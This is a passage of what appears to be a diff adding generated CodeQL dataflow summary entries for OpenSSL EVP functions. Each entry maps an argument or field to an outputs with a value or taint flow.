"Argument[*0].Field[*buf]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_CTX_cipher", "(const EVP_CIPHER_CTX *)", "", "Argument[*0].Field[**cipher]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_CTX_cipher", "(const EVP_CIPHER_CTX *)", "", "Argument[*0].Field[*cipher]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_CTX_clear_flags", "(EVP_CIPHER_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_CTX_copy", "(EVP_CIPHER_CTX *,const EVP_CIPHER_CTX *)", "", "Argument[*1]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "EVP_CIPHER_CTX_copy", "(EVP_CIPHER_CTX *,const EVP_CIPHER_CTX *)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_CTX_copy", "(EVP_CIPHER_CTX *,const EVP_CIPHER_CTX *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_CTX_ctrl", "(EVP_CIPHER_CTX *,int,int,void *)", "", "Argument[2]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_CTX_dup", "(const EVP_CIPHER_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "EVP_CIPHER_CTX_dup", "(const EVP_CIPHER_CTX *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_CTX_dup", "(const EVP_CIPHER_CTX *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_CTX_get0_cipher", "(const EVP_CIPHER_CTX *)", "", "Argument[*0].Field[**cipher]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_CTX_get0_cipher", "(const EVP_CIPHER_CTX *)", "", "Argument[*0].Field[*cipher]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_CTX_get1_cipher", "(EVP_CIPHER_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "EVP_CIPHER_CTX_get1_cipher", "(EVP_CIPHER_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "EVP_CIPHER_CTX_get_algor", "(EVP_CIPHER_CTX *,X509_ALGOR **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "EVP_CIPHER_CTX_get_algor", "(EVP_CIPHER_CTX *,X509_ALGOR **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "EVP_CIPHER_CTX_get_algor", "(EVP_CIPHER_CTX *,X509_ALGOR **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "EVP_CIPHER_CTX_get_algor", "(EVP_CIPHER_CTX *,X509_ALGOR **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "EVP_CIPHER_CTX_get_app_data", "(const EVP_CIPHER_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "EVP_CIPHER_CTX_get_app_data", "(const EVP_CIPHER_CTX *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "EVP_CIPHER_CTX_get_app_data", "(const EVP_CIPHER_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "EVP_CIPHER_CTX_get_block_size", "(const EVP_CIPHER_CTX *)", "", "Argument[*0].Field[**cipher].Field[*block_size]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_CTX_get_cipher_data", "(const EVP_CIPHER_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "EVP_CIPHER_CTX_get_cipher_data", "(const EVP_CIPHER_CTX *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "EVP_CIPHER_CTX_get_cipher_data", "(const EVP_CIPHER_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "EVP_CIPHER_CTX_get_iv_length", "(const EVP_CIPHER_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "EVP_CIPHER_CTX_get_key_length", "(const EVP_CIPHER_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "EVP_CIPHER_CTX_get_nid", "(const EVP_CIPHER_CTX *)", "", "Argument[*0].Field[**cipher].Field[*nid]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_CTX_get_num", "(const EVP_CIPHER_CTX *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "EVP_CIPHER_CTX_is_encrypting", "(const EVP_CIPHER_CTX *)", "", "Argument[*0].Field[*encrypt]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_CTX_iv", "(const EVP_CIPHER_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "EVP_CIPHER_CTX_iv_noconst", "(EVP_CIPHER_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "EVP_CIPHER_CTX_original_iv", "(const EVP_CIPHER_CTX *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "EVP_CIPHER_CTX_rand_key", "(EVP_CIPHER_CTX *,unsigned char *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_CTX_set_app_data", "(EVP_CIPHER_CTX *,void *)", "", "Argument[**1]", "Argument[*0].Field[***app_data]", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_CTX_set_app_data", "(EVP_CIPHER_CTX *,void *)", "", "Argument[*1]", "Argument[*0].Field[**app_data]", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_CTX_set_app_data", "(EVP_CIPHER_CTX *,void *)", "", "Argument[1]", "Argument[*0].Field[*app_data]", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_CTX_set_cipher_data", "(EVP_CIPHER_CTX *,void *)", "", "Argument[**1]", "Argument[*0].Field[***cipher_data]", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_CTX_set_cipher_data", "(EVP_CIPHER_CTX *,void *)", "", "Argument[*1]", "Argument[*0].Field[**cipher_data]", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_CTX_set_cipher_data", "(EVP_CIPHER_CTX *,void *)", "", "Argument[1]", "Argument[*0].Field[*cipher_data]", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_CTX_set_flags", "(EVP_CIPHER_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_CTX_set_key_length", "(EVP_CIPHER_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*key_len]", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_CTX_set_key_length", "(EVP_CIPHER_CTX *,int)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_CTX_set_num", "(EVP_CIPHER_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*num]", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_CTX_set_params", "(EVP_CIPHER_CTX *,const OSSL_PARAM[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_CTX_test_flags", "(const EVP_CIPHER_CTX *,int)", "", "Argument[*0].Field[*flags]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_CTX_test_flags", "(const EVP_CIPHER_CTX *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_get0_description", "(const EVP_CIPHER *)", "", "Argument[*0].Field[**description]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_get0_description", "(const EVP_CIPHER *)", "", "Argument[*0].Field[*description]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_get0_name", "(const EVP_CIPHER *)", "", "Argument[*0].Field[**type_name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_get0_name", "(const EVP_CIPHER *)", "", "Argument[*0].Field[*type_name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_get0_provider", "(const EVP_CIPHER *)", "", "Argument[*0].Field[**prov]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_get0_provider", "(const EVP_CIPHER *)", "", "Argument[*0].Field[*prov]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_get_block_size", "(const EVP_CIPHER *)", "", "Argument[*0].Field[*block_size]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_get_flags", "(const EVP_CIPHER *)", "", "Argument[*0].Field[*flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_get_iv_length", "(const EVP_CIPHER *)", "", "Argument[*0].Field[*iv_len]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_get_key_length", "(const EVP_CIPHER *)", "", "Argument[*0].Field[*key_len]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_get_mode", "(const EVP_CIPHER *)", "", "Argument[*0].Field[*flags]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_get_nid", "(const EVP_CIPHER *)", "", "Argument[*0].Field[*nid]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_get_type", "(const EVP_CIPHER *)", "", "Argument[*0].Field[*nid]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_impl_ctx_size", "(const EVP_CIPHER *)", "", "Argument[*0].Field[*ctx_size]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_meth_dup", "(const EVP_CIPHER *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "EVP_CIPHER_meth_dup", "(const EVP_CIPHER *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_meth_get_cleanup", "(const EVP_CIPHER *)", "", "Argument[*0].Field[*cleanup]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_meth_get_ctrl", "(const EVP_CIPHER *)", "", "Argument[*0].Field[*ctrl]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_meth_get_do_cipher", "(const EVP_CIPHER *)", "", "Argument[*0].Field[*do_cipher]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_meth_get_get_asn1_params", "(const EVP_CIPHER *)", "", "Argument[*0].Field[*get_asn1_parameters]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_meth_get_init", "(const EVP_CIPHER *)", "", "Argument[*0].Field[*init]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_meth_get_set_asn1_params", "(const EVP_CIPHER *)", "", "Argument[*0].Field[*set_asn1_parameters]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_meth_new", "(int,int,int)", "", "Argument[0]", "ReturnValue[*].Field[*nid]", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_meth_new", "(int,int,int)", "", "Argument[1]", "ReturnValue[*].Field[*block_size]", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_meth_new", "(int,int,int)", "", "Argument[2]", "ReturnValue[*].Field[*key_len]", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_meth_set_cleanup", "(EVP_CIPHER *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*cleanup]", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_meth_set_ctrl", "(EVP_CIPHER *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*ctrl]", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_meth_set_do_cipher", "(EVP_CIPHER *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*do_cipher]", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_meth_set_flags", "(EVP_CIPHER *,unsigned long)", "", "Argument[1]", "Argument[*0].Field[*flags]", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_meth_set_get_asn1_params", "(EVP_CIPHER *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*get_asn1_parameters]", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_meth_set_impl_ctx_size", "(EVP_CIPHER *,int)", "", "Argument[1]", "Argument[*0].Field[*ctx_size]", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_meth_set_init", "(EVP_CIPHER *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*init]", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_meth_set_iv_length", "(EVP_CIPHER *,int)", "", "Argument[1]", "Argument[*0].Field[*iv_len]", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_meth_set_set_asn1_params", "(EVP_CIPHER *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*set_asn1_parameters]", "value", "dfc-generated"] + - ["", "", True, "EVP_CIPHER_names_do_all", "(const EVP_CIPHER *,..(*)(..),void *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "EVP_CIPHER_param_to_asn1", "(EVP_CIPHER_CTX *,ASN1_TYPE *)", "", "Argument[*1]", "Argument[1]", "taint", "df-generated"] + - ["", "", True, "EVP_CIPHER_set_asn1_iv", "(EVP_CIPHER_CTX *,ASN1_TYPE *)", "", "Argument[*1]", "Argument[1]", "taint", "df-generated"] + - ["", "", True, "EVP_CipherFinal", "(EVP_CIPHER_CTX *,unsigned char *,int *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "EVP_CipherFinal", "(EVP_CIPHER_CTX *,unsigned char *,int *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "EVP_CipherFinal_ex", "(EVP_CIPHER_CTX *,unsigned char *,int *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "EVP_CipherFinal_ex", "(EVP_CIPHER_CTX *,unsigned char *,int *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "EVP_CipherInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int)", "", "Argument[*3]", "Argument[*0].Field[**oiv]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int)", "", "Argument[*3]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int)", "", "Argument[*3]", "Argument[*0].Field[*oiv]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[*cipher]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[*fetched_cipher]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int)", "", "Argument[3]", "Argument[*0].Field[**oiv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_CipherInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int)", "", "Argument[3]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_CipherInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int)", "", "Argument[3]", "Argument[*0].Field[*oiv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_CipherInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int)", "", "Argument[4]", "Argument[*0].Field[*encrypt]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherInit_SKEY", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,EVP_SKEY *,const unsigned char *,size_t,int,const OSSL_PARAM[])", "", "Argument[1]", "Argument[*0].Field[*cipher]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherInit_SKEY", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,EVP_SKEY *,const unsigned char *,size_t,int,const OSSL_PARAM[])", "", "Argument[1]", "Argument[*0].Field[*fetched_cipher]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherInit_SKEY", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,EVP_SKEY *,const unsigned char *,size_t,int,const OSSL_PARAM[])", "", "Argument[5]", "Argument[*0].Field[*encrypt]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherInit_ex2", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[**oiv]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherInit_ex2", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherInit_ex2", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[*oiv]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherInit_ex2", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int,const OSSL_PARAM[])", "", "Argument[1]", "Argument[*0].Field[*cipher]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherInit_ex2", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int,const OSSL_PARAM[])", "", "Argument[1]", "Argument[*0].Field[*fetched_cipher]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherInit_ex2", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[**oiv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_CipherInit_ex2", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_CipherInit_ex2", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int,const OSSL_PARAM[])", "", "Argument[3]", "Argument[*0].Field[*oiv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_CipherInit_ex2", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int,const OSSL_PARAM[])", "", "Argument[4]", "Argument[*0].Field[*encrypt]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherInit_ex2", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,int,const OSSL_PARAM[])", "", "Argument[5]", "Argument[*5]", "taint", "dfc-generated"] + - ["", "", True, "EVP_CipherInit_ex", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *,int)", "", "Argument[*4]", "Argument[*0].Field[**oiv]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherInit_ex", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *,int)", "", "Argument[*4]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherInit_ex", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *,int)", "", "Argument[*4]", "Argument[*0].Field[*oiv]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherInit_ex", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[*cipher]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherInit_ex", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[*fetched_cipher]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherInit_ex", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *,int)", "", "Argument[2]", "Argument[*0].Field[*engine]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherInit_ex", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *,int)", "", "Argument[4]", "Argument[*0].Field[**oiv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_CipherInit_ex", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *,int)", "", "Argument[4]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_CipherInit_ex", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *,int)", "", "Argument[4]", "Argument[*0].Field[*oiv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_CipherInit_ex", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,ENGINE *,const unsigned char *,const unsigned char *,int)", "", "Argument[5]", "Argument[*0].Field[*encrypt]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherPipelineDecryptInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,size_t,size_t,const unsigned char **,size_t)", "", "Argument[1]", "Argument[*0].Field[*cipher]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherPipelineDecryptInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,size_t,size_t,const unsigned char **,size_t)", "", "Argument[1]", "Argument[*0].Field[*fetched_cipher]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherPipelineDecryptInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,size_t,size_t,const unsigned char **,size_t)", "", "Argument[4]", "Argument[*0].Field[*numpipes]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherPipelineEncryptInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,size_t,size_t,const unsigned char **,size_t)", "", "Argument[1]", "Argument[*0].Field[*cipher]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherPipelineEncryptInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,size_t,size_t,const unsigned char **,size_t)", "", "Argument[1]", "Argument[*0].Field[*fetched_cipher]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherPipelineEncryptInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,size_t,size_t,const unsigned char **,size_t)", "", "Argument[4]", "Argument[*0].Field[*numpipes]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherUpdate", "(EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[*1]", "Argument[*0].Field[*final]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherUpdate", "(EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[*2]", "Argument[*0].Field[*final]", "taint", "dfc-generated"] + - ["", "", True, "EVP_CipherUpdate", "(EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[*3]", "Argument[*0].Field[*buf]", "value", "dfc-generated"] + - ["", "", True, "EVP_CipherUpdate", "(EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[*final]", "taint", "dfc-generated"] + - ["", "", True, "EVP_CipherUpdate", "(EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_CipherUpdate", "(EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[2]", "Argument[*0].Field[*final]", "taint", "dfc-generated"] + - ["", "", True, "EVP_CipherUpdate", "(EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[2]", "Argument[*2]", "taint", "dfc-generated"] + - ["", "", True, "EVP_CipherUpdate", "(EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[3]", "Argument[*0].Field[*buf]", "taint", "dfc-generated"] + - ["", "", True, "EVP_CipherUpdate", "(EVP_CIPHER_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[4]", "Argument[*2]", "value", "df-generated"] + - ["", "", True, "EVP_DecodeBlock", "(unsigned char *,const unsigned char *,int)", "", "Argument[*1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DecodeBlock", "(unsigned char *,const unsigned char *,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DecodeBlock", "(unsigned char *,const unsigned char *,int)", "", "Argument[1]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DecodeFinal", "(EVP_ENCODE_CTX *,unsigned char *,int *)", "", "Argument[*0].Field[*enc_data]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DecodeFinal", "(EVP_ENCODE_CTX *,unsigned char *,int *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DecodeUpdate", "(EVP_ENCODE_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[*0].Field[*enc_data]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DecodeUpdate", "(EVP_ENCODE_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[*3]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DecodeUpdate", "(EVP_ENCODE_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DecodeUpdate", "(EVP_ENCODE_CTX *,unsigned char *,int *,const unsigned char *,int)", "", "Argument[3]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DecryptFinal", "(EVP_CIPHER_CTX *,unsigned char *,int *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "EVP_DecryptFinal", "(EVP_CIPHER_CTX *,unsigned char *,int *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "EVP_DecryptFinal_ex", "(EVP_CIPHER_CTX *,unsigned char *,int *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "EVP_DecryptFinal_ex", "(EVP_CIPHER_CTX *,unsigned char *,int *)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "EVP_DecryptInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *)", "", "Argument[*3]", "Argument[*0].Field[**oiv]", "value", "dfc-generated"] + - ["", "", True, "EVP_DecryptInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *)", "", "Argument[*3]", "Argument[*0].Field[*iv]", "value", "dfc-generated"] + - ["", "", True, "EVP_DecryptInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *)", "", "Argument[*3]", "Argument[*0].Field[*oiv]", "value", "dfc-generated"] + - ["", "", True, "EVP_DecryptInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *)", "", "Argument[1]", "Argument[*0].Field[*cipher]", "value", "dfc-generated"] + - ["", "", True, "EVP_DecryptInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *)", "", "Argument[1]", "Argument[*0].Field[*fetched_cipher]", "value", "dfc-generated"] + - ["", "", True, "EVP_DecryptInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *)", "", "Argument[3]", "Argument[*0].Field[**oiv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DecryptInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *)", "", "Argument[3]", "Argument[*0].Field[*iv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DecryptInit", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *)", "", "Argument[3]", "Argument[*0].Field[*oiv]", "taint", "dfc-generated"] + - ["", "", True, "EVP_DecryptInit_ex2", "(EVP_CIPHER_CTX *,const EVP_CIPHER *,const unsigned char *,const unsigned char *,const OSSL_PARAM[])", "", "Argument[*3]", "Argument[*0].Field[**oiv]", "value", "dfc-generated"] + - ["", "", True, 